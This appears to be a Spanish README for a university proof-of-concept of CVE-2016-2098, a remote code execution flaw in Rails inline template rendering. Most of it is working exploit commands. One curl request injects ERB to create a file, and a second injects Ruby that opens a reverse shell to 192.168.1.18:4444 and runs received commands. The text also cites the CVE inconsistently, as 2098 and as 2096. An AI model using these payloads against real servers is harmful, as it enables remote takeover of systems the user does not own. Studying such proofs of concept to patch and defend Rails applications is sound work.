
Prueba de concepto CVE-2016-2098
Proyecto universitario creado por @alejandro-marting donde podemos comprobar la vulnerabilidad 2096
Usando:
##Ejecución: En primer lugar necesitamos ejecutar el servidor rails con el siguiente comando:
$ rvmsudo rails server -b 0.0.0.0 -p 80
Ahora podemos provocar la ejecución remota de código con el siguiente comando:
$ curl 'localhost:3000/poc/render1?template\[inline\]=<%25%3DFileUtils.touch+"rooted"%25>'
(Se debería generar un archivo rooted)
Si quieres probar una reverse shell con inyección de código ruby, puedes ejecutar el siguiente comando:
$ curl -H "Content-type: application/json" -X GET -d ' {"template" : {
"inline" : "<%= require \'socket\';exit if
fork;c=TCPSocket.new(\"192.168.1.18\",\"4444\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print
io.read}end %>"}}' http://localhost:3000/poc/render1
Si tienes alguna pregunta, ¡contáctame por favor!